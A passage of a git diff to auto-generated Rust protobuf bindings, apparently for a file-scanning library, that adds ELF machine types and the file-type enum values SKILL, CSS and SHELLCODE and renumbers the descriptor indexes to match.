\x0b\n\x07ET_NONE\x10\0\x12\n\n\x06ET_REL\x10\x01\x12\x0b\n\x07ET_EXEC\ \x10\x02\x12\n\n\x06ET_DYN\x10\x03\x12\x0b\n\x07ET_CORE\x10\x04\x12\x0f\ \n\tET_LOPROC\x10\x80\xfe\x03\x12\x0e\n\tET_HIPROC\x10\xff\x01\x1a\x06\ - \x92\x93\x19\x02\x10\x01*\xea\x01\n\x07Machine\x12\x0b\n\x07EM_NONE\x10\ + \x92\x93\x19\x02\x10\x01*\x8d\x03\n\x07Machine\x12\x0b\n\x07EM_NONE\x10\ \0\x12\n\n\x06EM_M32\x10\x01\x12\x0c\n\x08EM_SPARC\x10\x02\x12\n\n\x06EM\ _386\x10\x03\x12\n\n\x06EM_68K\x10\x04\x12\n\n\x06EM_88K\x10\x05\x12\x0c\ \n\x08EM_IAMCU\x10\x06\x12\n\n\x06EM_860\x10\x07\x12\x0b\n\x07EM_MIPS\ \x10\x08\x12\x0b\n\x07EM_S370\x10\t\x12\x12\n\x0eEM_MIPS_RS3_LE\x10\n\ - \x12\n\n\x06EM_PPC\x10\x14\x12\x0c\n\x08EM_PPC64\x10\x15\x12\n\n\x06EM_A\ - RM\x10(\x12\r\n\tEM_X86_64\x10>\x12\x0f\n\nEM_AARCH64\x10\xb7\x01\x1a\ - \x06\x92\x93\x19\x02\x10\x01*\x8a\x03\n\x05OsAbi\x12\x0e\n\nOSABI_NONE\ - \x10\0\x12\x0e\n\nOSABI_HPUX\x10\x01\x12\x10\n\x0cOSABI_NETBSD\x10\x02\ - \x12\x0f\n\x0bOSABI_LINUX\x10\x03\x12\x12\n\x0eOSABI_GNU_HURD\x10\x04\ - \x12\x11\n\rOSABI_SOLARIS\x10\x06\x12\r\n\tOSABI_AIX\x10\x07\x12\x0e\n\n\ - OSABI_IRIX\x10\x08\x12\x12\n\x0eOSABI_FREE_BSD\x10\t\x12\x0f\n\x0bOSABI_\ - TRU64\x10\n\x12\x11\n\rOSABI_MODESTO\x10\x0b\x12\x11\n\rOSABI_OPENBSD\ - \x10\x0c\x12\x11\n\rOSABI_OPENVMS\x10\r\x12\r\n\tOSABI_NSK\x10\x0e\x12\ - \x0e\n\nOSABI_AROS\x10\x0f\x12\x11\n\rOSABI_FENIXOS\x10\x10\x12\x12\n\ - \x0eOSABI_CLOUDABI\x10\x11\x12\x11\n\rOSABI_OPENVOS\x10\x12\x12\x13\n\ - \x0fOSABI_ARM_AEABI\x10@\x12\r\n\tOSABI_ARM\x10a\x12\x15\n\x10OSABI_STAN\ - DALONE\x10\xff\x01\x1a\x06\x92\x93\x19\x02\x10\x01*\xf4\x01\n\x0bSection\ - Type\x12\x0c\n\x08SHT_NULL\x10\0\x12\x10\n\x0cSHT_PROGBITS\x10\x01\x12\ - \x0e\n\nSHT_SYMTAB\x10\x02\x12\x0e\n\nSHT_STRTAB\x10\x03\x12\x0c\n\x08SH\ - T_RELA\x10\x04\x12\x0c\n\x08SHT_HASH\x10\x05\x12\x0f\n\x0bSHT_DYNAMIC\ - \x10\x06\x12\x0c\n\x08SHT_NOTE\x10\x07\x12\x0e\n\nSHT_NOBITS\x10\x08\x12\ - \x0b\n\x07SHT_REL\x10\t\x12\r\n\tSHT_SHLIB\x10\n\x12\x0e\n\nSHT_DYNSYM\ - \x10\x0b\x12\x12\n\x0eSHT_INIT_ARRAY\x10\x0e\x12\x12\n\x0eSHT_FINI_ARRAY\ - \x10\x0f\x1a\x06\x92\x93\x19\x02\x10\x01*\xe0\x01\n\x0bSegmentType\x12\ - \x0b\n\x07PT_NULL\x10\0\x12\x0b\n\x07PT_LOAD\x10\x01\x12\x0e\n\nPT_DYNAM\ - IC\x10\x02\x12\r\n\tPT_INTERP\x10\x03\x12\x0b\n\x07PT_NOTE\x10\x04\x12\ - \x0c\n\x08PT_SHLIB\x10\x05\x12\x0b\n\x07PT_PHDR\x10\x06\x12\n\n\x06PT_TL\ - S\x10\x07\x12\x17\n\x0fPT_GNU_EH_FRAME\x10\xd0\xca\xd3\xa3\x06\x12\x14\n\ - \x0cPT_GNU_STACK\x10\xd1\xca\xd3\xa3\x06\x12\x14\n\x0cPT_GNU_RELRO\x10\ - \xd2\xca\xd3\xa3\x06\x12\x17\n\x0fPT_GNU_PROPERTY\x10\xd3\xca\xd3\xa3\ - \x06\x1a\x06\x92\x93\x19\x02\x10\x01*4\n\x0cSegmentFlags\x12\x08\n\x04PF\ - _X\x10\x01\x12\x08\n\x04PF_W\x10\x02\x12\x08\n\x04PF_R\x10\x04\x1a\x06\ - \x92\x93\x19\x02\x10\x01*{\n\x07SymType\x12\x0e\n\nSTT_NOTYPE\x10\0\x12\ - \x0e\n\nSTT_OBJECT\x10\x01\x12\x0c\n\x08STT_FUNC\x10\x02\x12\x0f\n\x0bST\ - T_SECTION\x10\x03\x12\x0c\n\x08STT_FILE\x10\x04\x12\x0e\n\nSTT_COMMON\ - \x10\x05\x12\x0b\n\x07STT_TLS\x10\x06\x1a\x06\x92\x93\x19\x02\x10\x01*>\ - \n\x07SymBind\x12\r\n\tSTB_LOCAL\x10\0\x12\x0e\n\nSTB_GLOBAL\x10\x01\x12\ - \x0c\n\x08STB_WEAK\x10\x02\x1a\x06\x92\x93\x19\x02\x10\x01*]\n\rSymVisib\ - ility\x12\x0f\n\x0bSTV_DEFAULT\x10\0\x12\x10\n\x0cSTV_INTERNAL\x10\x01\ - \x12\x0e\n\nSTV_HIDDEN\x10\x02\x12\x11\n\rSTV_PROTECTED\x10\x03\x1a\x06\ - \x92\x93\x19\x02\x10\x01*\xc2\x06\n\x07DynType\x12\x0b\n\x07DT_NULL\x10\ - \0\x12\r\n\tDT_NEEDED\x10\x01\x12\x0f\n\x0bDT_PLTRELSZ\x10\x02\x12\r\n\t\ - DT_PLTGOT\x10\x03\x12\x0b\n\x07DT_HASH\x10\x04\x12\r\n\tDT_STRTAB\x10\ - \x05\x12\r\n\tDT_SYMTAB\x10\x06\x12\x0b\n\x07DT_RELA\x10\x07\x12\r\n\tDT\ - _RELASZ\x10\x08\x12\x0e\n\nDT_RELAENT\x10\t\x12\x0c\n\x08DT_STRSZ\x10\n\ - \x12\r\n\tDT_SYMENT\x10\x0b\x12\x0b\n\x07DT_INIT\x10\x0c\x12\x0b\n\x07DT\ - _FINI\x10\r\x12\r\n\tDT_SONAME\x10\x0e\x12\x0c\n\x08DT_RPATH\x10\x0f\x12\ - \x0f\n\x0bDT_SYMBOLIC\x10\x10\x12\n\n\x06DT_REL\x10\x11\x12\x0c\n\x08DT_\ - RELSZ\x10\x12\x12\r\n\tDT_RELENT\x10\x13\x12\r\n\tDT_PLTREL\x10\x14\x12\ - \x0c\n\x08DT_DEBUG\x10\x15\x12\x0e\n\nDT_TEXTREL\x10\x16\x12\r\n\tDT_JMP\ - REL\x10\x17\x12\x0f\n\x0bDT_BIND_NOW\x10\x18\x12\x11\n\rDT_INIT_ARRAY\ - \x10\x19\x12\x11\n\rDT_FINI_ARRAY\x10\x1a\x12\x13\n\x0fDT_INIT_ARRAYSZ\ - \x10\x1b\x12\x13\n\x0fDT_FINI_ARRAYSZ\x10\x1c\x12\x0e\n\nDT_RUNPATH\x10\ - \x1d\x12\x0c\n\x08DT_FLAGS\x10\x1e\x12\x0f\n\x0bDT_ENCODING\x10\x20\x12\ - \x0f\n\x07DT_LOOS\x10\x8d\x80\x80\x80\x06\x12\x0f\n\x07DT_HIOS\x10\x80\ - \xe0\xff\xff\x06\x12\x13\n\x0bDT_VALRNGLO\x10\x80\xfa\xff\xff\x06\x12\ - \x13\n\x0bDT_VALRNGHI\x10\xff\xfb\xff\xff\x06\x12\x14\n\x0cDT_ADDRRNGLO\ - \x10\x80\xfc\xff\xff\x06\x12\x14\n\x0cDT_ADDRRNGHI\x10\xff\xfd\xff\xff\ - \x06\x12\x11\n\tDT_VERSYM\x10\xf0\xff\xff\xff\x06\x12\x14\n\x0cDT_RELACO\ - UNT\x10\xf9\xff\xff\xff\x06\x12\x13\n\x0bDT_RELCOUNT\x10\xfa\xff\xff\xff\ - \x06\x12\x12\n\nDT_FLAGS_1\x10\xfb\xff\xff\xff\x06\x12\x11\n\tDT_VERDEF\ - \x10\xfc\xff\xff\xff\x06\x12\x14\n\x0cDT_VERDEFNUM\x10\xfd\xff\xff\xff\ - \x06\x12\x12\n\nDT_VERNEED\x10\xfe\xff\xff\xff\x06\x12\x15\n\rDT_VERNEED\ - NUM\x10\xff\xff\xff\xff\x06\x12\x11\n\tDT_LOPROC\x10\x80\x80\x80\x80\x07\ - \x12\x11\n\tDT_HIPROC\x10\xff\xff\xff\xff\x07\x1a\x06\x92\x93\x19\x02\ - \x10\x01B\x1e\xfa\x92\x19\x1a\n\x03elf\x12\x07elf.ELF\x1a\nelf-moduleb\ - \x06proto2\ + \x12\r\n\tEM_PARISC\x10\x0f\x12\x12\n\x0eEM_SPARC32PLUS\x10\x12\x12\n\n\ + \x06EM_PPC\x10\x14\x12\x0c\n\x08EM_PPC64\x10\x15\x12\x0b\n\x07EM_S390\ + \x10\x16\x12\x0c\n\x08EM_MCORE\x10'\x12\x14\n\x06EM_RCE\x10\xa7\x80\x04\ + \x1a\x06\x9a\x93\x19\x02\x08'\x12\n\n\x06EM_ARM\x10(\x12\t\n\x05EM_SH\ + \x10*\x12\x0e\n\nEM_SPARCV9\x10+\x12\r\n\tEM_X86_64\x10>\x12\x12\n\x0eEM\ + _ARC_COMPACT\x10]\x12\x0f\n\nEM_AARCH64\x10\xb7\x01\x12\x0b\n\x06EM_BPF\ + \x10\xf7\x01\x12\x11\n\x0cEM_LOONGARCH\x10\x82\x02\x1a\x06\x92\x93\x19\ + \x02\x10\x01*\x8a\x03\n\x05OsAbi\x12\x0e\n\nOSABI_NONE\x10\0\x12\x0e\n\n\ + OSABI_HPUX\x10\x01\x12\x10\n\x0cOSABI_NETBSD\x10\x02\x12\x0f\n\x0bOSABI_\ + LINUX\x10\x03\x12\x12\n\x0eOSABI_GNU_HURD\x10\x04\x12\x11\n\rOSABI_SOLAR\ + IS\x10\x06\x12\r\n\tOSABI_AIX\x10\x07\x12\x0e\n\nOSABI_IRIX\x10\x08\x12\ + \x12\n\x0eOSABI_FREE_BSD\x10\t\x12\x0f\n\x0bOSABI_TRU64\x10\n\x12\x11\n\ + \rOSABI_MODESTO\x10\x0b\x12\x11\n\rOSABI_OPENBSD\x10\x0c\x12\x11\n\rOSAB\ + I_OPENVMS\x10\r\x12\r\n\tOSABI_NSK\x10\x0e\x12\x0e\n\nOSABI_AROS\x10\x0f\ + \x12\x11\n\rOSABI_FENIXOS\x10\x10\x12\x12\n\x0eOSABI_CLOUDABI\x10\x11\ + \x12\x11\n\rOSABI_OPENVOS\x10\x12\x12\x13\n\x0fOSABI_ARM_AEABI\x10@\x12\ + \r\n\tOSABI_ARM\x10a\x12\x15\n\x10OSABI_STANDALONE\x10\xff\x01\x1a\x06\ + \x92\x93\x19\x02\x10\x01*\xf4\x01\n\x0bSectionType\x12\x0c\n\x08SHT_NULL\ + \x10\0\x12\x10\n\x0cSHT_PROGBITS\x10\x01\x12\x0e\n\nSHT_SYMTAB\x10\x02\ + \x12\x0e\n\nSHT_STRTAB\x10\x03\x12\x0c\n\x08SHT_RELA\x10\x04\x12\x0c\n\ + \x08SHT_HASH\x10\x05\x12\x0f\n\x0bSHT_DYNAMIC\x10\x06\x12\x0c\n\x08SHT_N\ + OTE\x10\x07\x12\x0e\n\nSHT_NOBITS\x10\x08\x12\x0b\n\x07SHT_REL\x10\t\x12\ + \r\n\tSHT_SHLIB\x10\n\x12\x0e\n\nSHT_DYNSYM\x10\x0b\x12\x12\n\x0eSHT_INI\ + T_ARRAY\x10\x0e\x12\x12\n\x0eSHT_FINI_ARRAY\x10\x0f\x1a\x06\x92\x93\x19\ + \x02\x10\x01*\xe0\x01\n\x0bSegmentType\x12\x0b\n\x07PT_NULL\x10\0\x12\ + \x0b\n\x07PT_LOAD\x10\x01\x12\x0e\n\nPT_DYNAMIC\x10\x02\x12\r\n\tPT_INTE\ + RP\x10\x03\x12\x0b\n\x07PT_NOTE\x10\x04\x12\x0c\n\x08PT_SHLIB\x10\x05\ + \x12\x0b\n\x07PT_PHDR\x10\x06\x12\n\n\x06PT_TLS\x10\x07\x12\x17\n\x0fPT_\ + GNU_EH_FRAME\x10\xd0\xca\xd3\xa3\x06\x12\x14\n\x0cPT_GNU_STACK\x10\xd1\ + \xca\xd3\xa3\x06\x12\x14\n\x0cPT_GNU_RELRO\x10\xd2\xca\xd3\xa3\x06\x12\ + \x17\n\x0fPT_GNU_PROPERTY\x10\xd3\xca\xd3\xa3\x06\x1a\x06\x92\x93\x19\ + \x02\x10\x01*4\n\x0cSegmentFlags\x12\x08\n\x04PF_X\x10\x01\x12\x08\n\x04\ + PF_W\x10\x02\x12\x08\n\x04PF_R\x10\x04\x1a\x06\x92\x93\x19\x02\x10\x01*{\ + \n\x07SymType\x12\x0e\n\nSTT_NOTYPE\x10\0\x12\x0e\n\nSTT_OBJECT\x10\x01\ + \x12\x0c\n\x08STT_FUNC\x10\x02\x12\x0f\n\x0bSTT_SECTION\x10\x03\x12\x0c\ + \n\x08STT_FILE\x10\x04\x12\x0e\n\nSTT_COMMON\x10\x05\x12\x0b\n\x07STT_TL\ + S\x10\x06\x1a\x06\x92\x93\x19\x02\x10\x01*>\n\x07SymBind\x12\r\n\tSTB_LO\ + CAL\x10\0\x12\x0e\n\nSTB_GLOBAL\x10\x01\x12\x0c\n\x08STB_WEAK\x10\x02\ + \x1a\x06\x92\x93\x19\x02\x10\x01*]\n\rSymVisibility\x12\x0f\n\x0bSTV_DEF\ + AULT\x10\0\x12\x10\n\x0cSTV_INTERNAL\x10\x01\x12\x0e\n\nSTV_HIDDEN\x10\ + \x02\x12\x11\n\rSTV_PROTECTED\x10\x03\x1a\x06\x92\x93\x19\x02\x10\x01*\ + \xc2\x06\n\x07DynType\x12\x0b\n\x07DT_NULL\x10\0\x12\r\n\tDT_NEEDED\x10\ + \x01\x12\x0f\n\x0bDT_PLTRELSZ\x10\x02\x12\r\n\tDT_PLTGOT\x10\x03\x12\x0b\ + \n\x07DT_HASH\x10\x04\x12\r\n\tDT_STRTAB\x10\x05\x12\r\n\tDT_SYMTAB\x10\ + \x06\x12\x0b\n\x07DT_RELA\x10\x07\x12\r\n\tDT_RELASZ\x10\x08\x12\x0e\n\n\ + DT_RELAENT\x10\t\x12\x0c\n\x08DT_STRSZ\x10\n\x12\r\n\tDT_SYMENT\x10\x0b\ + \x12\x0b\n\x07DT_INIT\x10\x0c\x12\x0b\n\x07DT_FINI\x10\r\x12\r\n\tDT_SON\ + AME\x10\x0e\x12\x0c\n\x08DT_RPATH\x10\x0f\x12\x0f\n\x0bDT_SYMBOLIC\x10\ + \x10\x12\n\n\x06DT_REL\x10\x11\x12\x0c\n\x08DT_RELSZ\x10\x12\x12\r\n\tDT\ + _RELENT\x10\x13\x12\r\n\tDT_PLTREL\x10\x14\x12\x0c\n\x08DT_DEBUG\x10\x15\ + \x12\x0e\n\nDT_TEXTREL\x10\x16\x12\r\n\tDT_JMPREL\x10\x17\x12\x0f\n\x0bD\ + T_BIND_NOW\x10\x18\x12\x11\n\rDT_INIT_ARRAY\x10\x19\x12\x11\n\rDT_FINI_A\ + RRAY\x10\x1a\x12\x13\n\x0fDT_INIT_ARRAYSZ\x10\x1b\x12\x13\n\x0fDT_FINI_A\ + RRAYSZ\x10\x1c\x12\x0e\n\nDT_RUNPATH\x10\x1d\x12\x0c\n\x08DT_FLAGS\x10\ + \x1e\x12\x0f\n\x0bDT_ENCODING\x10\x20\x12\x0f\n\x07DT_LOOS\x10\x8d\x80\ + \x80\x80\x06\x12\x0f\n\x07DT_HIOS\x10\x80\xe0\xff\xff\x06\x12\x13\n\x0bD\ + T_VALRNGLO\x10\x80\xfa\xff\xff\x06\x12\x13\n\x0bDT_VALRNGHI\x10\xff\xfb\ + \xff\xff\x06\x12\x14\n\x0cDT_ADDRRNGLO\x10\x80\xfc\xff\xff\x06\x12\x14\n\ + \x0cDT_ADDRRNGHI\x10\xff\xfd\xff\xff\x06\x12\x11\n\tDT_VERSYM\x10\xf0\ + \xff\xff\xff\x06\x12\x14\n\x0cDT_RELACOUNT\x10\xf9\xff\xff\xff\x06\x12\ + \x13\n\x0bDT_RELCOUNT\x10\xfa\xff\xff\xff\x06\x12\x12\n\nDT_FLAGS_1\x10\ + \xfb\xff\xff\xff\x06\x12\x11\n\tDT_VERDEF\x10\xfc\xff\xff\xff\x06\x12\ + \x14\n\x0cDT_VERDEFNUM\x10\xfd\xff\xff\xff\x06\x12\x12\n\nDT_VERNEED\x10\ + \xfe\xff\xff\xff\x06\x12\x15\n\rDT_VERNEEDNUM\x10\xff\xff\xff\xff\x06\ + \x12\x11\n\tDT_LOPROC\x10\x80\x80\x80\x80\x07\x12\x11\n\tDT_HIPROC\x10\ + \xff\xff\xff\xff\x07\x1a\x06\x92\x93\x19\x02\x10\x01B\x1e\xfa\x92\x19\ + \x1a\n\x03elf\x12\x07elf.ELF\x1a\nelf-moduleb\x06proto2\ "; /// `FileDescriptorProto` object which was a source for this generated file diff --git a/lib/src/modules/protos/generated/filetypes.rs b/lib/src/modules/protos/generated/filetypes.rs index 7a394c51f..084c950fa 100644 --- a/lib/src/modules/protos/generated/filetypes.rs +++ b/lib/src/modules/protos/generated/filetypes.rs @@ -251,6 +251,8 @@ pub enum FileType { PYTHON_PKG = 321, // @@protoc_insertion_point(enum_value:vt.fileanalysis.FileType.MSIX) MSIX = 322, + // @@protoc_insertion_point(enum_value:vt.fileanalysis.FileType.SKILL) + SKILL = 323, // @@protoc_insertion_point(enum_value:vt.fileanalysis.FileType.TEXT) TEXT = 400, // @@protoc_insertion_point(enum_value:vt.fileanalysis.FileType.SCRIPT) @@ -351,6 +353,8 @@ pub enum FileType { HTA = 611, // @@protoc_insertion_point(enum_value:vt.fileanalysis.FileType.INTERNET_SHORTCUT) INTERNET_SHORTCUT = 612, + // @@protoc_insertion_point(enum_value:vt.fileanalysis.FileType.CSS) + CSS = 613, // @@protoc_insertion_point(enum_value:vt.fileanalysis.FileType.CAP) CAP = 700, // @@protoc_insertion_point(enum_value:vt.fileanalysis.FileType.ISOIMAGE) @@ -393,6 +397,8 @@ pub enum FileType { PGP = 1301, // @@protoc_insertion_point(enum_value:vt.fileanalysis.FileType.CRT) CRT = 1302, + // @@protoc_insertion_point(enum_value:vt.fileanalysis.FileType.SHELLCODE) + SHELLCODE = 1400, } impl ::protobuf::Enum for FileType { @@ -516,6 +522,7 @@ impl ::protobuf::Enum for FileType { 320 => ::std::option::Option::Some(FileType::PYTHON_WHL), 321 => ::std::option::Option::Some(FileType::PYTHON_PKG), 322 => ::std::option::Option::Some(FileType::MSIX), + 323 => ::std::option::Option::Some(FileType::SKILL), 400 => ::std::option::Option::Some(FileType::TEXT), 401 => ::std::option::Option::Some(FileType::SCRIPT), 402 => ::std::option::Option::Some(FileType::PHP), @@ -566,6 +573,7 @@ impl ::protobuf::Enum for FileType { 610 => ::std::option::Option::Some(FileType::CSV), 611 => ::std::option::Option::Some(FileType::HTA), 612 => ::std::option::Option::Some(FileType::INTERNET_SHORTCUT), + 613 => ::std::option::Option::Some(FileType::CSS), 700 => ::std::option::Option::Some(FileType::CAP), 800 => ::std::option::Option::Some(FileType::ISOIMAGE), 801 => ::std::option::Option::Some(FileType::SQUASHFS), @@ -587,6 +595,7 @@ impl ::protobuf::Enum for FileType { 1300 => ::std::option::Option::Some(FileType::PEM), 1301 => ::std::option::Option::Some(FileType::PGP), 1302 => ::std::option::Option::Some(FileType::CRT), + 1400 => ::std::option::Option::Some(FileType::SHELLCODE), _ => ::std::option::Option::None } } @@ -705,6 +714,7 @@ impl ::protobuf::Enum for FileType { "PYTHON_WHL" => ::std::option::Option::Some(FileType::PYTHON_WHL), "PYTHON_PKG" => ::std::option::Option::Some(FileType::PYTHON_PKG), "MSIX" => ::std::option::Option::Some(FileType::MSIX), + "SKILL" => ::std::option::Option::Some(FileType::SKILL), "TEXT" => ::std::option::Option::Some(FileType::TEXT), "SCRIPT" => ::std::option::Option::Some(FileType::SCRIPT), "PHP" => ::std::option::Option::Some(FileType::PHP), @@ -755,6 +765,7 @@ impl ::protobuf::Enum for FileType { "CSV" => ::std::option::Option::Some(FileType::CSV), "HTA" => ::std::option::Option::Some(FileType::HTA), "INTERNET_SHORTCUT" => ::std::option::Option::Some(FileType::INTERNET_SHORTCUT), + "CSS" => ::std::option::Option::Some(FileType::CSS), "CAP" => ::std::option::Option::Some(FileType::CAP), "ISOIMAGE" => ::std::option::Option::Some(FileType::ISOIMAGE), "SQUASHFS" => ::std::option::Option::Some(FileType::SQUASHFS), @@ -776,6 +787,7 @@ impl ::protobuf::Enum for FileType { "PEM" => ::std::option::Option::Some(FileType::PEM), "PGP" => ::std::option::Option::Some(FileType::PGP), "CRT" => ::std::option::Option::Some(FileType::CRT), + "SHELLCODE" => ::std::option::Option::Some(FileType::SHELLCODE), _ => ::std::option::Option::None } } @@ -893,6 +905,7 @@ impl ::protobuf::Enum for FileType { FileType::PYTHON_WHL, FileType::PYTHON_PKG, FileType::MSIX, + FileType::SKILL, FileType::TEXT, FileType::SCRIPT, FileType::PHP, @@ -943,6 +956,7 @@ impl ::protobuf::Enum for FileType { FileType::CSV, FileType::HTA, FileType::INTERNET_SHORTCUT, + FileType::CSS, FileType::CAP, FileType::ISOIMAGE, FileType::SQUASHFS, @@ -964,6 +978,7 @@ impl ::protobuf::Enum for FileType { FileType::PEM, FileType::PGP, FileType::CRT, + FileType::SHELLCODE, ]; } @@ -1087,77 +1102,80 @@ impl ::protobuf::EnumFull for FileType { FileType::PYTHON_WHL => 109, FileType::PYTHON_PKG => 110, FileType::MSIX => 111, - FileType::TEXT => 112, - FileType::SCRIPT => 113, - FileType::PHP => 114, - FileType::PYTHON => 115, - FileType::PERL => 116, - FileType::RUBY => 117, - FileType::C => 118, - FileType::CPP => 119, - FileType::JAVA => 120, - FileType::SHELLSCRIPT => 121, - FileType::PASCAL => 122, - FileType::AWK => 123, - FileType::DYALOG => 124, - FileType::FORTRAN => 125, - FileType::JAVASCRIPT => 126, - FileType::POWERSHELL => 127, - FileType::VBA => 128, - FileType::M4 => 129, - FileType::OBJETIVEC => 130, - FileType::JMOD => 131, - FileType::MAKEFILE => 132, - FileType::INI => 133, - FileType::UNUSED_CLJ => 134, - FileType::UNUSED_PDB => 135, - FileType::SQL => 136, - FileType::UNUSED_NEKO => 137, - FileType::UNUSED_WER => 138, - FileType::GOLANG => 139, - FileType::M3U => 140, - FileType::BAT => 141, - FileType::MSC => 142, - FileType::RDP => 143, - FileType::SYMBIAN => 144, - FileType::PALMOS => 145, - FileType::WINCE => 146, - FileType::ANDROID => 147, - FileType::IPHONE => 148, - FileType::HTML => 149, - FileType::XML => 150, - FileType::SWF => 151, - FileType::FLA => 152, - FileType::COOKIE => 153, - FileType::TORRENT => 154, - FileType::EMAIL => 155, - FileType::OUTLOOK => 156, - FileType::SGML => 157, - FileType::JSON => 158, - FileType::CSV => 159, - FileType::HTA => 160, - FileType::INTERNET_SHORTCUT => 161, - FileType::CAP => 162, - FileType::ISOIMAGE => 163, - FileType::SQUASHFS => 164, - FileType::VHD => 165, - FileType::VHDX => 166, - FileType::APPLE => 167, - FileType::MACINTOSH => 168, - FileType::APPLESINGLE => 169, - FileType::APPLEDOUBLE => 170, - FileType::MACINTOSH_HFS => 171, - FileType::APPLE_PLIST => 172, - FileType::MACINTOSH_LIB => 173, - FileType::APPLESCRIPT => 174, - FileType::APPLESCRIPT_COMPILED => 175, - FileType::CRX => 176, - FileType::XPI => 177, - FileType::ROM => 178, - FileType::IPS => 179, - FileType::PEM => 180, - FileType::PGP => 181, - FileType::CRT => 182, + FileType::SKILL => 112, + FileType::TEXT => 113, + FileType::SCRIPT => 114, + FileType::PHP => 115, + FileType::PYTHON => 116, + FileType::PERL => 117, + FileType::RUBY => 118, + FileType::C => 119, + FileType::CPP => 120, + FileType::JAVA => 121, + FileType::SHELLSCRIPT => 122, + FileType::PASCAL => 123, + FileType::AWK => 124, + FileType::DYALOG => 125, + FileType::FORTRAN => 126, + FileType::JAVASCRIPT => 127, + FileType::POWERSHELL => 128, + FileType::VBA => 129, + FileType::M4 => 130, + FileType::OBJETIVEC => 131, + FileType::JMOD => 132, + FileType::MAKEFILE => 133, + FileType::INI => 134, + FileType::UNUSED_CLJ => 135, + FileType::UNUSED_PDB => 136, + FileType::SQL => 137, + FileType::UNUSED_NEKO => 138, + FileType::UNUSED_WER => 139, + FileType::GOLANG => 140, + FileType::M3U => 141, + FileType::BAT => 142, + FileType::MSC => 143, + FileType::RDP => 144, + FileType::SYMBIAN => 145, + FileType::PALMOS => 146, + FileType::WINCE => 147, + FileType::ANDROID => 148, + FileType::IPHONE => 149, + FileType::HTML => 150, + FileType::XML => 151, + FileType::SWF => 152, + FileType::FLA => 153, + FileType::COOKIE => 154, + FileType::TORRENT => 155, + FileType::EMAIL => 156, + FileType::OUTLOOK => 157, + FileType::SGML => 158, + FileType::JSON => 159, + FileType::CSV => 160, + FileType::HTA => 161, + FileType::INTERNET_SHORTCUT => 162, + FileType::CSS => 163, + FileType::CAP => 164, + FileType::ISOIMAGE => 165, + FileType::SQUASHFS => 166, + FileType::VHD => 167, + FileType::VHDX => 168, + FileType::APPLE => 169, + FileType::MACINTOSH => 170, + FileType::APPLESINGLE => 171, + FileType::APPLEDOUBLE => 172, + FileType::MACINTOSH_HFS => 173, + FileType::APPLE_PLIST => 174, + FileType::MACINTOSH_LIB => 175, + FileType::APPLESCRIPT => 176, + FileType::APPLESCRIPT_COMPILED => 177, + FileType::CRX => 178, + FileType::XPI => 179, + FileType::ROM => 180, + FileType::IPS => 181, + FileType::PEM => 182, + FileType::PGP => 183, + FileType::CRT => 184, + FileType::SHELLCODE => 185, }; Self::enum_descriptor().value_by_index(index) } @@ -1176,7 +1194,7 @@ impl FileType { } static file_descriptor_proto_data: &'static [u8] = b"\ - \n\x12vt/filetypes.proto\x12\x0fvt.fileanalysis*\xfa\x10\n\x08FileType\ + \n\x12vt/filetypes.proto\x12\x0fvt.fileanalysis*\xa0\x11\n\x08FileType\ \x12\x0b\n\x07UNKNOWN\x10\0\x12\n\n\x06PE_EXE\x10\x01\x12\n\n\x06PE_DLL\ \x10\x02\x12\x07\n\x03MSI\x10\x03\x12\n\n\x06NE_EXE\x10\n\x12\n\n\x06NE_\ DLL\x10\x0b\x12\x0b\n\x07DOS_EXE\x10\x14\x12\x0b\n\x07DOS_COM\x10\x15\ @@ -1220,38 +1238,39 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \xbb\x02\x12\t\n\x04ZLIB\x10\xbc\x02\x12\x08\n\x03TAR\x10\xbd\x02\x12\ \x08\n\x03ZST\x10\xbe\x02\x12\n\n\x05LZFSE\x10\xbf\x02\x12\x0f\n\nPYTHON\ _WHL\x10\xc0\x02\x12\x0f\n\nPYTHON_PKG\x10\xc1\x02\x12\t\n\x04MSIX\x10\ - \xc2\x02\x12\t\n\x04TEXT\x10\x90\x03\x12\x0b\n\x06SCRIPT\x10\x91\x03\x12\ - \x08\n\x03PHP\x10\x92\x03\x12\x0b\n\x06PYTHON\x10\x93\x03\x12\t\n\x04PER\ - L\x10\x94\x03\x12\t\n\x04RUBY\x10\x95\x03\x12\x06\n\x01C\x10\x96\x03\x12\ - \x08\n\x03CPP\x10\x97\x03\x12\t\n\x04JAVA\x10\x98\x03\x12\x10\n\x0bSHELL\ - SCRIPT\x10\x99\x03\x12\x0b\n\x06PASCAL\x10\x9a\x03\x12\x08\n\x03AWK\x10\ - \x9b\x03\x12\x0b\n\x06DYALOG\x10\x9c\x03\x12\x0c\n\x07FORTRAN\x10\x9d\ - \x03\x12\x0f\n\nJAVASCRIPT\x10\x9e\x03\x12\x0f\n\nPOWERSHELL\x10\x9f\x03\ - \x12\x08\n\x03VBA\x10\xa0\x03\x12\x07\n\x02M4\x10\xa1\x03\x12\x0e\n\tOBJ\ - ETIVEC\x10\xa2\x03\x12\t\n\x04JMOD\x10\xa3\x03\x12\r\n\x08MAKEFILE\x10\ - \xa4\x03\x12\x08\n\x03INI\x10\xa5\x03\x12\x0f\n\nUNUSED_CLJ\x10\xa6\x03\ - \x12\x0f\n\nUNUSED_PDB\x10\xa9\x03\x12\x08\n\x03SQL\x10\xaa\x03\x12\x10\ - \n\x0bUNUSED_NEKO\x10\xab\x03\x12\x0f\n\nUNUSED_WER\x10\xac\x03\x12\x0b\ - \n\x06GOLANG\x10\xad\x03\x12\x08\n\x03M3U\x10\xae\x03\x12\x08\n\x03BAT\ - \x10\xaf\x03\x12\x08\n\x03MSC\x10\xb0\x03\x12\x08\n\x03RDP\x10\xb1\x03\ - \x12\x0c\n\x07SYMBIAN\x10\xf4\x03\x12\x0b\n\x06PALMOS\x10\xf5\x03\x12\n\ - \n\x05WINCE\x10\xf6\x03\x12\x0c\n\x07ANDROID\x10\xf7\x03\x12\x0b\n\x06IP\ - HONE\x10\xf8\x03\x12\t\n\x04HTML\x10\xd8\x04\x12\x08\n\x03XML\x10\xd9\ - \x04\x12\x08\n\x03SWF\x10\xda\x04\x12\x08\n\x03FLA\x10\xdb\x04\x12\x0b\n\ - \x06COOKIE\x10\xdc\x04\x12\x0c\n\x07TORRENT\x10\xdd\x04\x12\n\n\x05EMAIL\ - \x10\xde\x04\x12\x0c\n\x07OUTLOOK\x10\xdf\x04\x12\t\n\x04SGML\x10\xe0\ - \x04\x12\t\n\x04JSON\x10\xe1\x04\x12\x08\n\x03CSV\x10\xe2\x04\x12\x08\n\ - 